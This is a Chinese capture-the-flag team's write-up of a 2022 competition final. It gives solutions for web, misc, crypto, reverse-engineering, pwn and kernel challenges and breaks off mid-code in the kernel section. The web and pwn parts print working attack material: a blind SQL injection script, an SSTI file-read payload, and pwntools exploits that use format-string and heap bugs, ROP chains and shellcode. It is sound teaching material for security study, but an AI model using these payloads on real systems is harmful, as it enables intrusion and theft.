本周三(2022/6/8)我们队伍(中国矿业大学 02 队)代表中国矿业大学参加了 2021一带一路暨金砖大赛之企业信息系统安全赛项 的决赛,也顺利地以 1700/2000 分拿到了 CTF 的第一名。
比赛中我们一同解出了 Crypto,Re,Pwn 方向的所有赛题,赛后认真对解题思路做了整理,对剩余未解出的少部分赛题也做了复现总结:

# Web

感觉题目都是常见的简单知识点,没什么太难的地方,唯一的难点就是有点谜语人,一堆登录框,没任何提示,就是要一顿乱莽

# web1

http://101.133.134.12:8001/

image-20220608125508509

一个界面就一直点气球,游戏结束也没见往外发包,就直接看 js 文件,找到存放 flag 的 php

image-20220608125456098

image-20220609223446550

访问 flag.php 会跳转到 404,F12 监控一下流量就行

image-20220609223614556

flag:88E3773E766EE1FFD98F3FEBE7D876DB

# web2

http://101.133.134.12:8002/

image-20220608090837625

SQL 注入,过滤空格和 for,union, , ,for, 空格,* 等关键字,最关键的是查表,information 没法用了,找个替代表即可

最后构建出合适的 payload 语句进行时间盲注

1
1'^(select(sleep(1))from(mysql.user)where((select({columns})from({table})where({limit}))<'xxx'))^'

写个脚本获得密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

import requests
import time

def getDatabase(flag=""): # 获取数据库名
global baseurl,sql
flag=""
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
print(mid,chr(mid))
usesql="1'^(select(sleep(1))from(mysql.user)where(%s))^'"%sql.\
replace("flag",flag+chr(mid))
# print(usesql)
start_time=time.time()
res = requests.post(
baseurl +"login.php",
data={"uname":usesql,
"passwd":"1"
}
)
use_time=time.time()-start_time
# print(use_time)
if use_time > 1:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
flag += chr(mid - 1)
print(i,"flag is -> " + flag)

columns="group_concat(passwd)"
# 从sys.schema_index_statistics得到表名
table="testx.admin"
limit="'U'<'z'"

sql=f"(select({columns})from({table})where({limit}))<'flag'"

baseurl="http://101.133.134.12:8002/"
getDatabase("")

#f9b46e5b6dc40d49fef9c5f287d177ad

获得密码的 md5 值,到 md5 解密网站可知时 5555666

直接登录 admin:5555666

获得 flag

flag

# web3(未解出)

http://101.133.134.12:8003/

谜语了可以说是,弄了半天坐大牢不知道干什么,赛后看师傅们说还是 SQL,蚌埠住了,万万没想到会出两道 SQL

image-20220609221731113

# web4

http://101.133.134.12:8004/

image-20220609221821224

扫一下可以看到源码备份的 index.php.bak, 得到下面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
$key='flag{xxx}';
if (isset($_GET['name']) and isset($_GET['pwd'])) {
if ($_GET['name'] == $_GET['pwd']){
echo '<p>姓名与密码不能一致!</p>';
}elseif(is_numeric($_GET['pwd'])){
die('密码不能是纯数字');
}elseif (md5($_GET['name']) == md5($_GET['pwd'])){
die($key);}
else{
echo '<p>无效密码</p>';}
}
else{
echo '<p>首次登陆!</p>';
}
?>

需要账号密码的值不能相等,也不能为纯数字,但是最后 md5 值相等

经典的 md5 绕过问题,这个可以用 md5 强碰撞也可以用数组使得 md5 函数出错返回 False

这里我选择直接用数组绕过使得 md5 函数出错返回 False 即可绕过获取 flag

?name[]=1&pwd[]=1

得到 flag:

FDA095FC516DA9AE2A15AB135BFF8C80

# web5

http://101.133.134.12:8005/

image-20220609221148060

控制面板显示是个 tabib 框架,但是上网找相关漏洞没有任何发现,网站的页面到处点也没发现可利用点,文件上传和新建数据什么的实际上不会发包执行,但是在日历版块有异常,访问会返回下面这句话但是

image-20220609211231533

猜测问题是出在这里,但是不知道漏洞点在哪里,最后开了个扫描发现一个 console 接口,进去发现是一个 Flask 后台,想到计算 Pin 码但是并不可行,最后发现在日历接口有 SSTI, 使用 SSTI 获取 /flag

通过内置模块获取 open 函数打开 /flag 并通过 read 得到文件内容

1
{{''.__class__.__mro__[-1].__subclasses__()[64].__init__.__globals__.__builtins__.open('/flag','r').read() }}

变化一下就是

1
http://101.133.134.12:8005/{{''[request.values.c][request.values.m][-1][request.values.s]()[64][request.values.i][request.values.g][request.values.b][request.values.o](request.values.file,'r')[request.values.r]() }}&c=__class__&m=__mro__&s=__subclasses__&i=__init__&g=__globals__&b=__builtins__&o=open&r=read&file=/flag

# web6

http://101.133.134.12:8006/

image-20220609222553452

image-20220609222805556

image-20220609222758667

再次陷入谜语人状态,这个最后还是没出来,不过水群看到说是摁爆破 (原本想过爆破的,不过前两天刚把垃圾字典删了就没爆...),最后 password 和 hash 为 admin@123 的对应值的时候就会得到存 flag 的文件 gettf1ag.php, 访问就有 flag

# Misc

# misc1

给的文件后缀名是 .bat,010 打开发现,实际上应该是个 ppt(有很明显的 PowerPoint 字符),
更改后缀名为 ppt 之后,wps 打开,发现需要密码。
image-20230426014555010

在用 notepad 查看的时候,翻阅过程中突然看到提示:密码为 4 位纯数字

使用脚本生成字典后直接爆破:

1
2
3
4
5
6
7
8
9
# 字典生成
import itertools as its
words = "1234568790"
r =its.product(words,repeat=4)
dic = open("pass1.txt","a")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 爆破
import os
import sys
import win32com.client
import pywintypes
passw=[]
dic = open("pass1.txt","r")
data=dic.readline().strip('\n');
while data:
passw.append(data);
data=dic.readline().strip('\n');
dic.close();
wps1=win32com.client.Dispatch('Kwps.application')
wps1.Visible=True
wps1.DisplayAlerts = 0
for i in passw:
try:
d=wps1.Documents.Open(r'C:\Users\Sycamore\Desktop\CTF\flag去哪了.ppt',PasswordDocument=i);
except pywintypes.com_error:
print(i)
continue
print("succcccceesss"+i)
break;

# misc2

binwalk 分离,得到了很多文件,依次打开,查看文件内容,
其中一个文件:3BD12,
打开后获得一串 base64:
image-20230426014548136

两次 base64 解码后,就能得到 flag

# misc3

打开听了一下,感觉像 SSTV(今年 Misc 考这个的还真不少...),
安卓端使用 robot36 解码,
获得图片如下:
image-20230426014542237

# misc4

010 打开后文件末尾看到提示为:lsb
image-20230426014535850

stegsolve 打开后查看通道,发现 R G B 的 0 通道都有异常,
提取数据得到一张 jfif 图片如下,
image-20230426014529631

010 打开新图片,发现文件中间的 base64,解码得到 flag
image-20230426014522816

# CRYPTO

# Crypto1

观察其结构为 base 系列加密

base64 解密后得到密文 K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q====,base64 最多有两个 = 号并且其全为大写,故是 base32 编码,之后又经过两层 base64 解码。

image-20220608110331959

1
2
3
4
5
6
7
8
9
10
import base64
c='SzVXVENOREJJWlhYVVpDSEdGSFdDMjJWTzVMVk80Q0RNRkNUQ05TVktSSEdDVVNISlY1RkkyMlNKTlFVTTRDSUtKS0ZFVDJTR0ZWWFVWMldNUkhHS1ZUTUxCSlZJUVNPTUZWVks2Q1VHQlRYT1VDUkhVNlE9PT09'
print(base64.b64decode(c))
c1='K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q===='
print(base64.b32decode(c1))
c2='Wm14aFozdG1OakUwWWpCaE16UTNaRGMzTkRKaFpHRTROR1kzWVdNeVlXSTBNakUxT0gwPQ=='
print(base64.b64decode(c2))
c3='ZmxhZ3tmNjE0YjBhMzQ3ZDc3NDJhZGE4NGY3YWMyYWI0MjE1OH0='
print(base64.b64decode(c3))
#flag{f614b0a347d7742ada84f7ac2ab42158}

# Crypto2

首先题目提示凯撒加密,但是其中有 +、(、? 等特殊字符,尝试 26 以内的偏移,或和 flag {和 Zmxh (flag 的 base64 编码) 算移位没有发现规律。

尝试在 0-128 内唯一,打印其中可显示的明文字符串。

1
2
3
4
5
6
7
8
s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n'

for i in range(128):
m=[]
for j in range(len(s)):
m.append((s[j]-i)%128)
print('shfit: %d'%i,bytes(m).decode())

打印结果如下

image-20220608110941375

在 shfit 的偏移为 119 时发现一个可疑的明文信息,尝试 base64 解密。

image-20220608111119812

发现两次解密后即为 flag,完整代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64

s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n'
"""
for i in range(128):
m=[]
for j in range(len(s)):
m.append((s[j]-i)%128)
print('shfit: %d'%i,bytes(m).decode())
"""
print(base64.b64decode('Wm14aFozczNNVEkyTnpWbVpHWmtNMlJtTURjNU1UQmlOV0l3WldZNVlqY3pOVFl6WVgw'))
print(base64.b64decode('ZmxhZ3s3MTI2NzVmZGZkM2RmMDc5MTBiNWIwZWY5YjczNTYzYX0='))
m='flag{712675fdfd3df07910b5b0ef9b73563a}'

# Crypto3

RSA 公钥加密,题目附件中包括 c、n、e,但是 e 比较小且是偶数,故考察方向为 e 和 phin 不互素,尝试用 yafu 分解 n。

等待一段时间后 n 被成功分解,如下图。

image-20220608111541593

得到 p 和 q 后就可以求私钥,但是 (e,phi)=4, 故无逆元,那么根据 m^e mod n 可以变为 (m4)(e/4) 这样 e/4 和 phi 便互素,但是这样 c^d mod n 后得到的为 m^4 mod n,直接用 iroot 尝试开 4 次方,最后转为字符即发现 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
import gmpy2
from Crypto.Util.number import *
n = 22418636922065508104264650472638100390507346675022700253583060418349386472260539292033574216754214047540225287240029292436219548116787251605020424767984000804727346173028308816952737183433110999995264950414364145519999339949396799207404153148796900954086093431917244453864253649011176295266497073733547832171165497506613139960587280135867463235266546869960044777350378595302570142110464582590415694749192915651700844268466357439219626769665355230647219887042871785185100743750953935872489085346311527806979246650668966304323450610041756764667276881295676841136337294903126776228640645138477063815764467811948872156311
e = 180
c = 17971123746814947059314270113966290245749007752378241906733564181493060407114219968936077930494933520528427074831694818994710527963410153282657079091353179846750982127804195747725871635911272654572811618799762595633801414107052800867035212498914627567940429340162711284873714117628807667324064684965941290688518710890089086623981356782977499005308798890348799101436318386502089586589964942282091818134339082321114129830959264557408611168516265190076744300272908807347811446203373025446057616713876047942653095947804696077860211107853183353180163392501353685418796451123620066941329424857070023018877454625734091037559
p=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259583527
q=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259582993
phi=(p-1)*(q-1)
e=e//gmpy2.gcd(e,phi)
d=gmpy2.invert(e,phi)
m4=pow(c,d,n)
print(long_to_bytes(gmpy2.iroot(m4,4)[0]))
#flag{09dfc77eaebb50f136fc184533b9d556}

# Crypto4

拿到附件发现是自己实现的 ADFGVX 加密,key 已知是 ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8,但是 keyword 未知。

1
2
3
4
5
6
7
def getKeyword(x):
key = ''.join([choice('abcdefghijklmnopqrstuvwxyz') for i in range(x)])
for i in key:
if key.count(i)!=1: #只有一种
return getKeyword(x)
return key
keyword = getKeyword(7)

根据关键字的生成算法可知是在字母表中选取 7 个不同的字符,如果要爆破则有 26*25*24*23*22*21*20=3315312000 组合,在比赛时间内应该不行,故要根据 ADFGVX 原理来解决该题。

百度得知加密步骤如下。

image-20220608114533949

上图是 5X5 的 ADFGX 而本题是 ADFGVX 是前者的进阶版本,所以 key 是 6x6 的矩阵,并且置换之后通过 key 来进行移位加密。

得知原理后继续看脚本

1
2
3
4
def encipher_char(self, ch, size=6, chars='ADFGVX'):
row = (int)(self.key.index(ch)/size) #第几行
col = (self.key.index(ch) % size) #第几列
return chars[row] + chars[col] #行列替换

所以我们打印出表格如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
k='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8'
for i in range(0,len(k),6):
for j in range(6):
print(k[i+j].upper(),end=' ')
print()

"""
A D F G V X
A P H 0 Q G 6
D 4 M E A 1 Y
F L 2 N O F D
G X K R 3 C V
V S 5 Z W 7 B
X J 9 U T I 8
"""

但是直接解密是错的的并没有体现到 key 的作用,观察源码,发现 key 有处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
step1 = self.encipher_string(string) #简单置换后的结果
step2 = self.encipher_sortind(step1)

def sortind(word): #返回key字母在排序后的字母中的位置
t1 = [(word[i], i) for i in range(len(word))]
t2 = [(k[1], i) for i, k in enumerate(sorted(t1))]
return [q[1] for q in sorted(t2)]

def encipher_sortind(self,string):
string = self.remove_punctuation(string)
ret = ''
ind = self.sortind(self.keyword)
for i in range(len(self.keyword)):
ret += string[ind.index(i)::len(self.keyword)] #取出某一列拼出来
return ret

可以手动测试

image-20220608125424031

这样的话这个 ind 可以被爆破,因为 keyword 长度为 7 那么 ind 的排序为 7*6*5*4*3*2 = 5040 种可能,并且其中移位置换后解密不能出现数字或相同字母,爆破即可,解密脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pycipher import ADFGVX
from itertools import permutations

def decipher_pair(pair, key='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8', size=6, chars='ADFGVX'): #反求key
row = chars.index(pair[0])
col = chars.index(pair[1])
return key[row * size + col]
def decipher_str(string):
ret = ''
for i in range(0, len(string), 2):
ret += decipher_pair(string[i:i + 2])
return ret

def check(s): #优化爆破 即解密的key要在小写字母表内 且 无数字
num_lst = ['AF', 'AX', 'DA', 'DV', 'FD', 'GG', 'VD', 'VV', 'XD', 'XX'] #剔除数字
all = []
for i in range(7):
t = s[i * 2] + s[i * 2 + 1]
if (t in num_lst):
return False
if (t in all):
return False
all.append(t)
return True

kenc = 'XAGDFGVGXXXGAX'
flag = 'DXVGGVGGVGVFXAFVFXFFXFVFFFVFDVVGADGVAVGDAAVXGDGXGXDFVFDAVADAXAAFFVFXXGVX'

r1 = [kenc[i] for i in range(0, len(kenc), 2)] #明文中第一行
r2 = [kenc[i] for i in range(1, len(kenc), 2)] #明文中第二行

all_list = list(permutations([0, 1, 2, 3, 4, 5, 6], 7)) #暴力枚举所有状态

for it in all_list:
c = [r1[i] for i in it] + [r2[i] for i in it] #连续两个为r1和r2行中的元素 且置换回去
d = ''.join(c)

if check(c):
kd = decipher_str(d)
enc = ADFGVX('ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8', kd)
ed = enc.encipher(kd)
if ed == kenc:
print(kd,it)
print(enc.decipher(flag).lower())
#flag{fb0dd5203c02cf7c60dc99330b5bfa66}

ADFGVX 参考链接: https://blog.csdn.net/euzen/article/details/119085350

# RE

# RE1

image-20220608101847626

GO 语言逆向题,flag 直接和输入比对,可以在 main_mian 函数的窗口看到 flag,或 string+F12 搜索 flag 即可。

flag

# RE2

首先 shfit+F12 在 strings 窗口看到有关 flag 的明文字符,交叉引用定位 check 函数。

image-20220608102221703

可见被去了符号,可以根据明文信息判断 printf 等系统函数或者结合 IDA 自带的 Lumina 恢复符号 (不过效果不是很明显)。

image-20220608102354592

根据反编译代码结构大致猜测是对输入明文进行了异或处理 (或其他更多操作),可以结合调试来判断,构造输入为 flag {aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}。

image-20220608103006635

V5 首先指向输入附近,继续单步发现 v9 指向输入字符串的首部指针,V10 指向尾部指针。

image-20220608103326614

之后通过首位指针来让整个字符串异或 7,并保存 v6 的结构体内 (v6 应该是个结构体,其地址处的第二个指针指向加密后的结果)。最终将加密结果与 & unk_7FF6EFEE78D0 指向的结构体中的密文比对。

image-20220608103527434

密文在其指向地址的第二个指针。

image-20220608103552293

综上,提取出密文异或即可。

1
2
3
4
5
s=[0x61, 0x6B, 0x66, 0x60, 0x7C, 0x31, 0x3F, 0x37, 0x37, 0x65, 0x35, 0x66, 0x31, 0x3F, 0x36, 0x64, 0x3E, 0x3E, 0x62, 0x65, 0x33, 0x36, 0x30, 0x3F, 0x37, 0x65, 0x30, 0x65, 0x35, 0x3E, 0x33, 0x66, 0x64, 0x32, 0x36, 0x34, 0x3E, 0x7A]
for i in range(len(s)):
s[i]^=7
print(bytes(s))
#flag{6800b2a681c99eb41780b7b294ac5139}

# RE3

拖入 IDA,观察 main 函数逻辑。

image-20220608104456550

首先是输入 32 位数据存入 buffer,之后无论如何都会进入 LABLE_5 并且将输入 2 个一组作为 16 进制数据存入 v21,并且计算出总字节数的长度 len,对 len 进行 >>3,也就是 8 个一组。

image-20220608105103276

之后 8 个一组内进行上述加密,根据其结构可以判断出是魔改的 Tea 加密,还原算法如下。

根据补码运算 v12-0x61c88647 可以看成 v12+0x100000000-0x61c88647 等价于 v12 + 0x9e3779b9。

1
2
3
4
5
6
7
8
9
10
11
12
void Tea_Encrypt(ut32* src, ut32* k) {
ut32 sum = 0;
ut32 v0 = src[0];
ut32 v1 = src[1];
for (int i = 0; i < 0x20; i++) {
sum += 0x9e3779b9;
v0 += ((v1 << 3) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
v1 += ((v0 << 3) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
}
src[0] = v0;
src[1] = v1;
}

魔改点再模数 v1 和 v0 左移三位,并且 key 是 {18,52,86,120},结合上述条件写出求逆脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<iostream>
#define ut32 unsigned int
#define delta 0x9E3779B9
void Tea_Decrypt(ut32* enc, ut32* k) {
ut32 sum = delta * 0x20;
ut32 v0 = enc[0];
ut32 v1 = enc[1];
for (int i = 0; i < 0x20; i++) {
v1 -= ((v0 << 3) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 3) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum -= delta;
}
enc[0] = v0;
enc[1] = v1;
}

int main() {
ut32 m[4] = { 0x6278CC2F,0x65FE5089 ,0x2B581C7C,0x4E60BA90 };
ut32 k[4] = { 18,52,86,120 };

for (int i = 0; i < 4; i += 2) {
Tea_Decrypt(m+i, k);
}
for (int i = 0; i < 16; i++) {
printf("%02x", *((unsigned char*)m + i));
}
//flag{35f0be164cf02aa7c59ca09de5d7bb78}
return 0;
}

# PWN

# pmagic

以下是俩个格式化字符串漏洞的位置。

image-20220608113001740

第一次运行:

  1. 利用格式化字符串 leak 出 libc 基址。
  2. 利用格式化字符串漏洞同时覆写 printf 的 got 表为 system,同时覆写 _fini_array 为 0x400640 使再次运行。本题有个更简便的方法就是覆写 exit 的 hook 为 one_gadget,大家也可以尝试。

第二次运行:

  1. 由于只能读入五个字符,直接 cat * 拿 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./pmagic')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./pmagic')
# debug()
p = remote('101.133.134.12',10000)

sea('Give me your name.\n','%15$p')

libc_leak = int(rc(14),16)
libc_base = libc_leak - 0x5f1718
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
og = '''
❯ one_gadget libc-2.23.so -l2
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf02b0 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''
ones = [libc_base + int(i,16) for i in re.findall(r'\n(.+?) execve',og)]
# sl((fmtstr_payload(8,{(elf.got['printf']):system_addr,(0x600A78):0x400640})).ljust(0x100,'\0'))
sea('Say something.\n',(fmtstr_payload(8,{(elf.got['printf']):system_addr,(0x600A78):0x400640})).ljust(0x100,'\0'))
# flag{9cc94030040c64f2122706df577d15ee}
p.interactive()

image-20220608114145159

# orw_h2

libc 2.31 下的经典菜单堆题。

漏洞很简单,free 掉堆块的时候没有清空指针,是一个很直接的 UAF

image-20220608113201143

思路:

  1. 基本堆布局,利用 Largebin 残留指针 leak 出 libc 基址和堆基址。
  2. 利用 Tcache Poisoning 构造一次任意分配堆块到 __free_hook 写 rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20] 这个 gadget 的地址。
  3. 利用写入的 gadget 配合 setcontext 构造栈迁移,改堆块为 rwx 权限,读入 shellcode 执行 shellcode 拿 flag。或者非常确定 flag 的文件名和路径的情况下,拿 orw 链子直接读 flag 也是可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./orw_h2')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./orw_h2')
# debug()
p = remote('101.133.134.12',10001)

def menu(choice):
sla('>> ',str(choice))

def add(size,data='u'):
menu(1)
sla('Length of game description:',str(size))
sea('Game description:',str(data))

def dele(id):
menu(2)
sla('game index: ',str(id))

def edit(id,data):
menu(3)
sla('game index: ',str(id))
sea('Edit Game description:',str(data))

def show(id):
menu(4)
sla('game index: ',str(id))

add(0x420) # 0
add(0x20) # 1
dele(0)
show(0)
libc_leak = uu64(ru('\n')[-6:])
libc_base = libc_leak - 0x1ecbe0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
magic = libc_base + 0x1518b0 # mov rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20]
rdi = libc_base + 0x0000000000023b72
rsi = libc_base + 0x000000000002604f
rdx_r12 = libc_base + 0x0000000000119241
ret = libc_base + 0x0000000000022679
rax = libc_base + 0x0000000000047400
jmp_rsi = libc_base + 0x000000000010d60d
read_addr = libc.sym.read
'''
0x0000000000047400 : pop rax ; ret
0x0000000000023b72 : pop rdi ; ret
0x0000000000119241 : pop rdx ; pop r12 ; ret
0x000000000015f7e6 : pop rdx ; pop rbx ; ret
0x00000000001025ad : pop rdx ; pop rcx ; pop rbx ; ret
0x0000000000024920 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000023b70 : pop rsi ; pop r15 ; ret
0x000000000002604f : pop rsi ; ret
0x0000000000133fe6 : pop rsi ; ret 0xb
0x000000000002491c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000023b6c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000002604b : pop rsp ; pop r13 ; pop r14 ; ret
0x00000000000ef1c5 : pop rsp ; pop r13 ; pop r15 ; ret
0x00000000000460a5 : pop rsp ; pop r13 ; pop rbp ; ret
0x0000000000025bcc : pop rsp ; pop r13 ; ret
0x000000000008e261 : pop rsp ; pop r14 ; ret
0x000000000012cfae : pop rsp ; pop rbp ; ret
0x000000000002f73a : pop rsp ; ret
0x0000000000099050 : pop rsp ; ret 0xffff
0x0000000000022679 : ret
'''

# orw = flat([
# rax,2,rdi,heap_base+0x290+0x10,rsi,0,syscall_ret,rdi,3,rdx_r12,0x100,0,rsi,heap_base+0x290+0x20,read_addr,rdi,1,write_addr
# ])



add(0x430) # 2
edit(0,'u'*0x10)
show(0)
ru('u'*0x10)
heap_leak = uu64(rc(6))
heap_base = heap_leak - 0x290
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)

mmp = flat([
rdi,((heap_base + 0xD00)>>12)<<12,rsi,0x2000,rdx_r12,7,0,libc.sym.mprotect,rdi,0,rsi,heap_base + 0xD00,rdx_r12,0x1000,0,read_addr,jmp_rsi
])

edit(0,p64(libc_base+0x1ecfd0)*2)
add(0x420) # 3 0
add(0x20) # 4
dele(1)
dele(4)
edit(4,p64(libc.sym.__free_hook))
add(0x20) # 5
add(0x20,p64(magic)) # 6

fuck = SigreturnFrame()
fuck.rsp = heap_base + 0x700
fuck.rip = ret

edit(0,p64(0) + p64(heap_base + 0x290+0x10) + p64(0)*2 + p64(libc.sym.setcontext+61)+str(fuck)[0x28:])# mov rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20]
edit(2,mmp)

dele(0)
sl(asm(shellcraft.cat('/flag')))

p.interactive()

# Kernel

简单的 kernel 题,给了任意地址写。

image-20220608114038284

那么劫持 modprobe_path 为我们自己的恶意 sh 文件路径,复制文件更改权限,就可以读 flag。

用来读 flag 的 exp 源码:

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>



size_t path = 0xffffffff81e48240;

int main(int argc, char ** argv)
{
int fd1 = open("/dev/chardev0", 2);
if(fd1 <0)
{
printf("\033[31m\033[1m[x] Failed to open the babydev1!\033[0m\n");
exit(-1);
}
// ffffffff81e48240 D modprobe_path
// ffffffffc0000000 t chardev_ioctl [www]
// 0xffffffffc000001e
size_t ar[2] = {path,0x612f706d742f};
